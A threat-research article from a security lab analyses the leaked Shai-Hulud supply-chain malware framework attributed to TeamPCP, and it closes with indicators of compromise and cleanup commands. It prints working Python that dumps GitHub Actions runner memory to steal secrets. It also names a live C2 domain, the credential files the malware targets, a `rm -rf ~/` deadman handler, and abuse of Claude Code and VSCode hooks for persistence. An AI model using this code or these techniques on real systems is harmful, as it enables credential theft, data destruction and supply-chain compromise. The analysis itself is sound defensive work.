---
title: "Shai-Hulud Goes Open Source"
description: "A static analysis of the open-sourced Shai-Hulud offensive framework attributed to TeamPCP, covering its credential harvesting, supply chain poisoning, and exfiltration capabilities."
author: "Ryan Simon, Sebastian Obregoso, Greg Foss"
date: 2026-05-13
category: "emerging threats and vulnerabilities"
tags: ["software supply-chain security"]
url: "https://securitylabs.datadoghq.com/articles/shai-hulud-open-source-framework-static-analysis/"
---

## Key points and observations

- On May 12, 2026, a GitHub repository   noticed under several likely compromised users ([github search](https://github.com/search?q=repo%3APedroTortoriello%2FShai-Hulud-Open-Source+git-tanstack&type=code)) appeared containing what appears to be the complete source code for the Shai-Hulud offensive framework attributed to TeamPCP.
- The repository's README explicitly states: *"Love - TeamPCP"* and *"Change keys and C2 as needed."*
- The framework is a modular TypeScript/Bun toolkit for credential harvesting, supply chain poisoning, and encrypted data exfiltration, targeting both CI/CD pipelines and developer workstations.
- All 3 commits use a spoofed date (`2099-01-01`) and are authored by `TeamPCP_OSS <TeamPCP>`.
- The source code maps directly to compiled artifacts previously observed in the wild including `router_init.js`, `setup.mjs`, and `opensearch_init.js`
- The released source code showed evolving capabilities for persistence via AI agent integration and stealth by adding sigstore provenance to releases

## Background

Throughout early-to-mid 2026, the threat actor known as TeamPCP conducted a series of escalating supply chain attacks across the npm and PyPI ecosystems. Multiple open source reports provided detailed analyses of the campaign's evolution from the initial Trivy and Checkmarx KICS tag hijacking in March, through the LiteLLM PyPI poisoning, to the more recent TanStack and UiPath npm compromises.

These reports described the compiled payloads and their behavior in detail: obfuscated 2.3MB JavaScript bundles, OIDC token abuse for trusted publishing, `Runner.Worker` memory extraction, and AES-256-GCM encrypted exfiltration to domains mimicking legitimate open source projects.

What they couldn't show was the source code behind it all.

On May 12, 2026, a repository briefly appeared on GitHub that filled that gap. This appears to have been removed by GitHub shortly after publishing, though not in time to prevent multiple forks. We were able to obtain a copy of the code before it was pulled and performed a static analysis of the repository contents and found a complete, production-grade offensive framework that accounts for nearly every TTP previously attributed to TeamPCP.

![GitHub repository overview showing the Shai-Hulud-Open-Source project structure and metadata (click to enlarge)](https://securitylabs.dd-static.net/img/shai-hulud-open-source-framework-static-analysis/github-repo-overview.png?auto=format)
*GitHub repository overview showing the Shai-Hulud-Open-Source project structure and metadata (click to enlarge)*

## Architecture overview

The framework follows a clean pipeline design. Each stage is decoupled through well-defined interfaces, which allows operators to swap components.

![Shai-Hulud framework architecture showing the pipeline from loaders through providers, collector, dispatcher, senders, and mutators (click to enlarge)](https://securitylabs.dd-static.net/img/shai-hulud-open-source-framework-static-analysis/framework-architecture-diagram.png?auto=format)
*Shai-Hulud framework architecture showing the pipeline from loaders through providers, collector, dispatcher, senders, and mutators (click to enlarge)*

| **Component** | **Role** |
| :---- | :---- |
| **Loaders** | Stage-1 droppers (`BASH_LOADER.sh`, `PYTHON_LOADER.py`, `config.mjs`) that bootstrap execution by downloading the Bun runtime and launching the bundled JavaScript payload |
| **Providers** | Credential and secret collection modules, each targeting a specific source: filesystem, shell environment, GitHub Actions runners, AWS, Kubernetes, HashiCorp Vault |
| **Collector** | Buffered ingestion layer with a configurable flush threshold (default: 100KB), batching results before handoff to the dispatcher |
| **Dispatcher** | Manages encrypted delivery with ordered failover across multiple sender backends |
| **Senders** | Exfiltration channelsHTTPS POST to a C2 domain, or GitHub repositories used as encrypted dead-drops |
| **Mutators** | Supply chain propagation by poisoning GitHub repository branches and publishing backdoored npm packages |

## Credential harvesting

The toolkit's collection capabilities are broad. Three providers run immediately on startup as "quick results" before the heavier cloud-targeting providers are initialized.

### Filesystem scanning

The `FileSystemService` maintains OS-specific lists of over 100 sensitive file paths. On Linux and macOS, these include:

- Cloud credentials: `~/.aws/credentials`, `~/.azure/accessTokens.json`, `~/.config/gcloud/credentials.db`
- SSH material: `~/.ssh/id_*`, `~/.ssh/config`, `~/.ssh/known_hosts`
- Kubernetes: `~/.kube/config`, `/var/run/secrets/kubernetes.io/serviceaccount/token`
- Cryptocurrency wallets: Bitcoin, Ethereum, Monero, Litecoin, Dogecoin, Zcash, Electrum, Exodus, Ledger Live
- Messaging applications: Discord, Slack, Telegram, Signal, Element
- Package registries: `.npmrc`, `.pypirc`, `.yarnrc`
- AI development tools: `.claude.json`, `.claude/mcp.json`, `.kiro/settings/mcp.json`
- Shell histories, VPN configurations, Docker configs, git credentials, `.env` files

Files are read up to a 5MB cap per file. Glob patterns are expanded at runtime, so entries like `**/.env` and `~/.docker/*/config.json` match recursively.

### Shell environment

The `ShellService` runs `gh auth token` to extract the GitHub CLI's cached token and captures the entire `process.env` object. This alone can yield CI/CD secrets, cloud credentials, and API keys that are injected as environment variables during pipeline runs.

### GitHub Actions runner memory extraction

This is the technique that initially drew attention in open source reporting on TeamPCP. The `GitHubRunner` provider checks whether it's executing inside GitHub Actions on a Linux runner, then feeds `python_util.py` to the Python interpreter via stdin with `sudo`:

```py
pid = get_pid()  # finds Runner.Worker by scanning /proc/*/cmdline
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
    for line in map_f.readlines():
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
        if m.group(3) == 'r':
            start = int(m.group(1), 16)
            end = int(m.group(2), 16)
            mem_f.seek(start)
            chunk = mem_f.read(end - start)
            sys.stdout.buffer.write(chunk)
```

The raw memory dump is piped through `grep -aoE` to extract JSON structures matching GitHub Actions' internal secret format: `"<key>":{"value":"<value>","isSecret":true}`.
This sidesteps GitHub Actions secret-masking layer completely so that secrets are read from process memory before masking can occur.

### Cloud and infrastructure providers

The remaining providers target deeper infrastructure and are dispatched after the initial quick results are sent:

- **AWS** - A full credential chain resolver (environment variables, web identity token files, ECS container metadata, EC2 IMDSv2, all named profiles). Once credentials are obtained, the toolkit enumerates Secrets Manager and SSM Parameter Store across all 17 default AWS regions, reading every secret value with decryption enabled. The AWS SigV4 signing implementation is hand-rolled and has no SDK dependency.
- **Kubernetes** - Reads the in-cluster service account token or parses `~/.kube/config` for bearer tokens. Lists all namespaces, then pulls and base64-decodes every secret in each namespace. The regex pattern set is extensive: AWS keys, GCP service account JSON, database connection strings, Stripe keys, private keys, Docker auth, and more.
- **HashiCorp Vault** - Attempts authentication through four methods: environment variables, token files (12+ path candidates), Kubernetes auth, and AWS IAM auth. Once authenticated, it enumerates all KV mounts and reads up to 100 secrets per mount across both v1 and v2 engines.

### Token scanning

All provider results pass through configurable regex patterns in the base `Provider` class. The framework scans output for GitHub PATs (`ghp_`/`gho_`), npm tokens (`npm_`), GitHub installation tokens (`ghs_`), and JWT-format runner tokens. Matched tokens are fed back into the pipeline   GitHub tokens trigger the `GitHubActionsService`, npm tokens trigger the `NpmClient` mutator. This creates a self-propagating loop: harvested credentials unlock new attack surfaces.

## Exfiltration

All collected data is encrypted before leaving the host. The `Sender` base class implements a hybrid encryption scheme:

1. Generate a random 32-byte AES key and 12-byte IV
2. Gzip-compress the JSON payload
3. Encrypt with AES-256-GCM
4. Encrypt the AES key with RSA-4096-OAEP using a hardcoded public key (`enc_key.pub`)
5. Combine IV + ciphertext + auth tag into a base64 envelope

The dispatcher tries senders in priority order, falling through on failure.

### Primary: HTTPS to C2 domain

The default destination for this campaign is `git-tanstack[.]com:443/router` before sending, the domain sender does a DNS lookup and HTTP healthcheck (expects 400 or 404).

If the primary C2 is unreachable, the `DomainSenderFactory` searches GitHub for commits containing a cryptographically signed fallback domain. It queries the commit search API for the string `thebeautifulmarchoftime`, then verifies each result's signature against a second hardcoded RSA-4096 public key (`verify_key.pub`). A valid signature yields the backup C2 domain. The attacker can rotate C2 infrastructure by pushing a signed commit to any public repository.

### Fallback: GitHub repositories as dead-drops

When domain-based exfiltration fails entirely, the framework uses stolen GitHub tokens to create new public repositories with Dune-themed names lifted directly from the novel (adjective-noun-number, drawn from word lists like `sardaukar`, `mentat`, `ornithopter`, `stillsuit`). The repository description is set to `Shai-Hulud: Here We Go Again`.

Encrypted data is committed to a `results/` directory as JSON files. Payloads larger than 30MB are automatically chunked across multiple files. The attacker can later retrieve these by searching GitHub for repositories matching the known naming pattern and description.

When a stolen token belongs to a user who is not a member of any GitHub organization, the sender also embeds the double-base64-encoded token in the commit message and installs a deadman switch more on that below.

## Persistence and the deadman switch

The framework establishes persistence through two mechanisms.

On non-CI systems, `daemonize()` forks the process as a detached child with `stdio: "ignore"` and `__DAEMONIZED=1` to prevent fork loops. A PID-based lock file at `/tmp/tmp.ts018051808.lock` prevents duplicate instances.

The more notable mechanism is `DEADMAN_SWITCH.sh`. When the GitHub sender attaches a token to an exfiltration envelope, it simultaneously installs a monitoring daemon:

- **macOS**: A LaunchAgent at `~/Library/LaunchAgents/com.user.gh-token-monitor.plist` with `RunAtLoad` and `KeepAlive` on failure
- **Linux**: A systemd user service at `~/.config/systemd/user/gh-token-monitor.service` with `loginctl enable-linger` for session-independent persistence

The daemon polls [`https://api.github.com/user`](https://api.github.com/user) checks the token's validity against the GitHub API on a one-minute interval. If it receives an HTTP 40x response indicating the token has been revoked it executes a handler command. The default handler is `rm -rf ~/`.

The commit message used for exfiltration spells this out: `IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`. Whether this is a deterrent against revocation or a genuine destructive capability, the code implements it faithfully. The daemon self-terminates after 24 hours regardless.

## Supply chain poisoning

The mutator subsystem is where harvested credentials are weaponized for propagation.

### GitHub repository poisoning

The `ReadmeUpdater` (the name is deliberately misleading) uses stolen GitHub tokens to push malicious files across all branches of the victim's repository. The files it commits are:

| **Target path** | **Content** | **Purpose** |
| :---- | :---- | :---- |
| `.vscode/tasks.json` | VSCode task with `runOn: "folderOpen"` executing `node .claude/setup.mjs` | Triggers payload when any developer opens the repo in VSCode |
| `.claude/settings.json` | Claude Code hook on `SessionStart` executing `node .vscode/setup.mjs` | Triggers payload when Claude Code initializes in the repo |
| `.claude/setup.mjs` | The `config.mjs` Node.js loader | Downloads Bun, runs the bundled payload |
| `.vscode/setup.mjs` | Same loader | Redundant execution path |
| `.claude/<SCRIPT_NAME>` | The compiled malware binary itself | The payload that gets executed |

Commits are attributed to `claude@users.noreply.github.com` with the message `chore: update dependencies`. Branches matching `dependabot/**` and `copilot/**` patterns are filtered out to avoid interference with automated systems. Commits are batched via the GitHub GraphQL API in groups of 2 to stay under rate limits.

This is worth pausing on: the framework specifically targets IDE and AI coding assistant hooks as persistence vectors. A developer who clones or opens a poisoned repository will execute the payload without any additional interaction; this means that VSCode runs the task on folder open, and Claude Code runs the hook on session start.

### npm package poisoning (token-based)

When the collector identifies npm tokens in harvested data, the `NpmClient` mutator validates them against the npm registry API. It checks that the token has `package:write` permissions and bypasses 2FA, then enumerates every package the token can publish to including org-scoped packages.

For each writable package, the mutator:

1. Downloads the latest published tarball
2. Extracts and modifies `package.json` to add a `preinstall` script (`node setup.mjs`)
3. Copies the `config.mjs` loader as `setup.mjs` into the package
4. Copies the compiled malware binary
5. Bumps the patch version
6. Publishes the modified tarball back to npmjs.org

### npm package poisoning (OIDC-based)

The `NPMOidcClient` is purpose-built for GitHub Actions environments that use trusted publishing. When the framework detects it's running inside a workflow that matches a specific target (hardcoded to `release-drafter.yml` in `opensearch-js`), it:

1. Requests a GitHub Actions OIDC token scoped to `npm:registry.npmjs.org`
2. Exchanges the OIDC token for an npm publish token via npm's OIDC token exchange endpoint
3. Downloads the `@opensearch-project/opensearch` package (hardcoded in for this campaign)
4. Injects a malicious `optionalDependency` pointing to a GitHub commit ref
5. Bumps the version
6. **Generates a complete Sigstore provenance bundle** requesting a signing certificate from Fulcio, signing a DSSE envelope with an ephemeral ECDSA key, and recording the envelope in Rekor's transparency log
7. Publishes with the forged provenance attached

The provenance forgery is notable. The resulting package appears to have legitimate build attestation, which downstream verification tools and registry UI would display as a trusted, reproducible build. The SLSA v1 provenance predicate, the Fulcio certificate chain, and the Rekor transparency log entry are all real; they just attest to a build that the attacker controlled.

## Obfuscation

The build pipeline explains why the compiled artifacts observed in the wild are difficult to create signature based detections for. Every build generates a fresh random passphrase (32 random bytes, hex-encoded), which is used as the seed for a PBKDF2-derived key (200,000 iterations, SHA-256). All strings wrapped in `scramble()` at the source level are encoded with a per-character polyalphabetic substitution cipher keyed to this passphrase, then replaced with `beautify()` calls at build time.

The practical effect of this process is that two builds from identical source code produce entirely different string encodings. Combined with Bun's minifier and `javascript-obfuscator` (control flow flattening, base64 string arrays), the resulting ~2.3MB `router_init.js` bundles resist both signature matching and casual reverse engineering.

Asset files (shell scripts, public keys, workflow YAML, Python utilities) are separately encrypted with per-file AES-256-GCM keys during the prebuild step, then embedded as base64 blobs in `src/generated/index.ts`. They're decrypted at runtime.

Environment variable names receive the same treatment,  `process.env.AWS_SECRET_ACCESS_KEY` is rewritten to `process.env[scramble("AWS_SECRET_ACCESS_KEY")]` before the scramble transform encodes it, so even the env var names are obfuscated in the compiled output.

When the `isSilent` flag is set to `true` in `logger.ts`, a build-time transform strips all `logUtil.*` calls entirely, eliminating debug strings from the bundle.

## Evasion: the Russian locale check

Before any collection or exfiltration occurs, the `preflight()` function in `index.ts` calls `isSystemRussian()`. This checks the system locale (via `Intl.DateTimeFormat`, `LC_ALL`, `LANG`, `LANGUAGE`) and exits cleanly if any resolve to a Russian (`ru`) prefix.

This is a well-documented pattern in Eastern European cybercrime, a geographic killswitch intended to avoid targeting systems in Commonwealth of Independent States (CIS) countries. Its presence here is consistent with prior TeamPCP attribution analysis.

## MITRE ATT&CK mapping

| **ID** | **Technique** | **Implementation** |
| :---- | :---- | :---- |
| T1195.002 | Compromise Software Supply Chain | npm package poisoning, GitHub repo branch poisoning |
| T1195.001 | Compromise Software Dependencies | OIDC-based npm publishing with forged provenance |
| T1199 | Trusted Relationship | GitHub Actions OIDC token abuse for npm publish |
| T1059.004 | Unix Shell | `BASH_LOADER.sh`, `DEADMAN_SWITCH.sh` |
| T1059.006 | Python | `PYTHON_LOADER.py`, `python_util.py` (memory reader) |
| T1059.007 | JavaScript | `config.mjs`, compiled payloads, entire TypeScript framework |
| T1204.002 | User Execution: Malicious File | VSCode `runOn: "folderOpen"`, Claude Code `SessionStart` hook |
| T1543.001 | Launch Agent | macOS `com.user.gh-token-monitor` persistence |
| T1543.002 | Systemd Service | Linux `gh-token-monitor.service` persistence |
| T1552.001 | Credentials in Files | 100+ file paths scanned across 3 OS families |
| T1552.005 | Cloud Instance Metadata Service | AWS IMDSv2, ECS container metadata |
| T1552.007 | Container API | Kubernetes service account tokens, secrets API |
| T1003 | OS Credential Dumping | `/proc/<pid>/mem` reading of Runner.Worker |
| T1528 | Steal Application Access Token | `gh auth token`, GitHub PATs, npm tokens, Vault tokens |
| T1560.001 | Archive via Utility | gzip compression before encryption |
| T1041 | Exfiltration Over C2 Channel | HTTPS POST to `git-tanstack[.]com` |
| T1567.001 | Exfiltration to Code Repository | Encrypted commits to GitHub repos |
| T1573.002 | Asymmetric Cryptography | RSA-4096 + AES-256-GCM hybrid encryption |
| T1102 | Web Service | GitHub commit search as signed C2 dead-drop |
| T1485 | Data Destruction | `rm -rf ~/` deadman switch |
| T1588.004 | Digital Certificates | Fulcio certificate abuse for provenance forgery |

## TeamPCP TTP correlation

We compared the source code against TTPs documented in prior open source reporting on the TeamPCP campaign, covering the LiteLLM compromise, the broader TeamPCP supply chain investigation, and the TanStack and UiPath incidents.

Of 22 distinct TTPs attributed to TeamPCP across these reports, 19 are implemented in this codebase. The three absent capabilities WAV steganography, cryptomining payloads, and the CanisterWorm ICP-based C2 may represent operational additions not included in the open-sourced version, or parallel tooling maintained separately.

The `.pth` file persistence technique documented in the LiteLLM attack is notable by its absence. The framework instead uses VSCode tasks and Claude Code hooks for the same purpose IDE-triggered execution on repository open. This may reflect an evolution in technique, shifting from Python interpreter hooks to development tool hooks as the attack surface expanded.

Several capabilities in this source code were not described in prior reporting:

- **AI coding assistant backdoors** - Persistence via `.claude/settings.json` hooks represents a new vector that specifically targets the emerging AI-assisted development workflow.
- **Sigstore provenance forgery** - Generating legitimate Fulcio certificates and Rekor transparency log entries to make poisoned packages appear attestation-verified. This undermines a trust mechanism that the ecosystem has been actively promoting as a supply chain security control.
- **Cryptographic C2 dead-drops** -Using RSA-signed GitHub commits for verified fallback domain resolution, allowing C2 rotation without modifying any deployed payloads.
- **Coercive deadman switch** - The `IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner` mechanism, which attempts to deter incident response by threatening destructive action on credential revocation.

### TTP comparison matrix

| **Known TeamPCP TTP** | **Present in Shai-Hulud?** | **Confidence** |
| :---- | :---- | :---- |
| Supply chain attacks on npm packages | YES   Full npm poisoning pipeline with stolen tokens and OIDC | Exact match |
| Trojanizing GitHub repositories via force-push/tag hijacking | YES   Branch-level commit poisoning across all branches | Exact match (method evolved) |
| Double base64 encoding for payload obfuscation | YES   Token encoding: `Buffer.from(Buffer.from(token).toString("base64")).toString("base64")` | Exact match |
| AES-256 encryption with RSA public key for exfiltration | YES   AES-256-GCM + RSA-4096 OAEP hybrid encryption | Exact match |
| Credential harvesting: SSH keys, cloud creds, K8s, API keys | YES   Comprehensive collection from 100+ file paths + live APIs | Exact match |
| Runner.Worker process memory reading (`/proc/<pid>/mem`) | YES   `python_util.py` reads Runner.Worker memory for secret extraction | Exact match |
| Environment variable collection (LLM API keys) | YES   Entire `process.env` exfiltrated | Exact match |
| IMDS exploitation for cloud credentials | YES   IMDSv2 + ECS container metadata | Exact match |
| Kubernetes secret exfiltration | YES   Full K8s API secret enumeration + base64 decode | Exact match |
| GitHub Actions workflow injection for secret dumping | YES   Creates disguised workflow that dumps `toJSON(secrets)` | Exact match |
| C2 domains mimicking legitimate services | YES   `git-tanstack.com` (mimics TanStack/React Router) | Exact match |
| Systemd masquerading for persistence | YES   `gh-token-monitor.service` | Exact match |
| Self-deletion / evidence cleanup | YES   Deletes workflow runs + branches after secret extraction | Exact match |
| CIS country exclusion (Russian locale check) | YES   `isSystemRussian()` exits if locale is "ru" | Exact match |
| GitHub repository as dead-drop for C2 | YES   Hidden repos + commit-based C2 domain resolution with crypto signatures | Exact match |
| `kamikaze.sh`-style destructive capability | YES   `rm -rf ~/` deadman switch | Exact match |
| npm OIDC token abuse | YES   Full OIDC→npm token exchange pipeline | Exact match |
| Sigstore provenance forgery | YES   Complete Fulcio/Rekor provenance bundle generation | Exact match (novel) |
| `.pth` file persistence (Python) | NO   Uses VSCode tasks + Claude hooks instead | Different mechanism, same goal |
| WAV steganography | NO   Not present in this version | Missing |
| Cryptomining payload | NO   Not present in this open-source version | Missing |
| CanisterWorm / ICP canister C2 | NO   Uses GitHub + domain C2 instead | Missing |

## Indicators of compromise

### Network indicators

| **Indicator** | **Type** | **Context** |
| :---- | :---- | :---- |
| `git-tanstack[.]com` | Domain | Primary C2 exfiltration endpoint |
| `83.142.209[.]194` | IP | Associated C2 infrastructure (per open source reporting) |

### String indicators

| **String** | **Context** |
| :---- | :---- |
| `IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner` | GitHub commit search string for token recovery |
| `thebeautifulmarchoftime` | GitHub commit search string for signed C2 fallback domain |
| `Shai-Hulud: Here We Go Again` | Repository description on exfiltration repos |
| `chore: update dependencies` | Commit message used for branch poisoning |
| `com.user.gh-token-monitor` | macOS LaunchAgent label |
| `gh-token-monitor.service` | Linux systemd service name |
| `opensearch_init.js` | Payload filename (configurable) |
| `tmp.ts018051808.lock` | Lock file in `/tmp/` |

### File hashes (source repository)

These hashes are for the open-sourced source files, not compiled artifacts. Compiled outputs are cryptographically unique per build by design.

| **File** | **SHA256** |
| :---- | :---- |
| `src/index.ts` | `f2157f1cecbf3995aafad750e6e805c472cec466a53d17c2063f266ad2b3d625` |
| `src/assets/config.mjs` | `77d92efe7af3547f71fd41d4a884872d66b1be9499eaa637e91eac866911694d` |
| `src/assets/DEADMAN_SWITCH.sh` | `619c56acf572df75b6004a6fc013c80900316a76099b241d64312da3a44f10b4` |
| `src/assets/python_util.py` | `29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7` |
| `src/assets/enc_key.pub` | `f7a1e56b6dbd42778fe349b8412ab9749c78fa2bf41ea90b1165615ddfee52e4` |
| `src/assets/verify_key.pub` | `c55a10759f6f415a536940a75f42aa372878a51f8eb97468551eabf6d88ae492` |
| `src/assets/workflow.yml` | `3f3f42d072bd36860ab7bd7fb5e10ac0d22c741c13c89505ccd6ec0ea572eea7` |

### File hashes (compiled artifacts, per open source reporting)

| **File** | **SHA256** |
| :---- | :---- |
| `router_init.js` | `ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c` |
| `setup.mjs` | `2258284d65f63829bd67eaba01ef6f1ada2f593f9bbe41678b2df360bd90d3df` |

### RSA public keys

The exfiltration encryption key and C2 verification key are embedded in the repository as `src/assets/enc_key.pub` and `src/assets/verify_key.pub` respectively. These are 4096-bit RSA keys. Their hashes are listed above. Any payload encrypted to `enc_key.pub` can only be decrypted by the corresponding private key held by the attacker.

## A note on reproducibility

The compiled artifact hashes from open source reporting cannot be reproduced from this source code. This is by design; the build pipeline generates a fresh random passphrase for each build, which seeds the string encoding. Two builds from identical sources produce different binaries. This is an effective anti-signature measure: defenders cannot generate YARA rules from one compiled sample and expect them to match the next deployment.

The source file hashes listed above are stable and can be used to detect copies or forks of the open-sourced repository itself.

## What this means

The open-sourcing of a production offensive framework is not unprecedented, but it's unusual for an active campaign. It lowers the barrier for other actors to adopt TeamPCP's playbook including the more sophisticated techniques like OIDC token abuse, provenance forgery, and AI tool persistence hooks.

For defenders, the source code is also very useful. It provides complete visibility into collection targets, evasion techniques, and exfiltration methods. The 100+ file paths in the filesystem provider are a checklist of what the attacker considers high-value. The obfuscation pipeline documents exactly what signature-based detection is up against. And the mutator code reveals the mechanics of how supply chain propagation works at the implementation level.

Organizations should review whether their CI/CD pipelines, developer workstations, and cloud environments are exposed to the credential harvesting techniques documented here particularly the Runner.Worker memory extraction, the IMDS/container metadata collection, and the IDE hook persistence mechanisms.

## How to know if you have been impacted?

**❗ Before revoking any GitHub tokens:** the framework installs a daemon (`gh-token-monitor`) that runs `rm -rf ~/` if your token is revoked. Disable it first, then rotate credentials.

```shell
# macOS
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
# Linux
systemctl --user stop gh-token-monitor.service 2>/dev/null
rm -f ~/.config/systemd/user/gh-token-monitor.service
```

Check `~/.claude/settings.json` (and per-project `.claude/settings.json`) for a `SessionStart` hook. Any hook executing `node .vscode/setup.mjs` or `node .claude/setup.mjs` is malicious. Poisoned repos also receive a `.vscode/tasks.json` with `runOn: "folderOpen"` pointing to the same loader.

```shell
grep -ri "SessionStart" ~/.claude/ 2>/dev/null
grep -ri "setup.mjs" ~/.claude/ 2>/dev/null
find . -name "tasks.json" | xargs grep -l "setup.mjs" 2>/dev/null
```

For repository poisoning, look for commits from `claude@users.noreply.github.com` with message `chore: update dependencies` across all branches — locally and on GitHub.

```shell
git log --all --oneline --author="claude@users.noreply.github.com"
git log --all --oneline --grep="chore: update dependencies"
git log --all --full-history -- ".claude/setup.mjs" ".vscode/setup.mjs" ".vscode/tasks.json"
```

If a GitHub token was stolen, check for exfiltration repos (description: `Shai-Hulud: Here We Go Again`) or evidence of C2 rotation using your token:

```shell
gh repo list --json name,description | grep -i "Here We Go Again"
gh api "search/commits?q=IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner" --jq '.items[].html_url'
```

If npm tokens were harvested, check your packages for unexpected patch bumps with a `preinstall` script (`npm show <package> scripts`). Yank affected versions immediately.
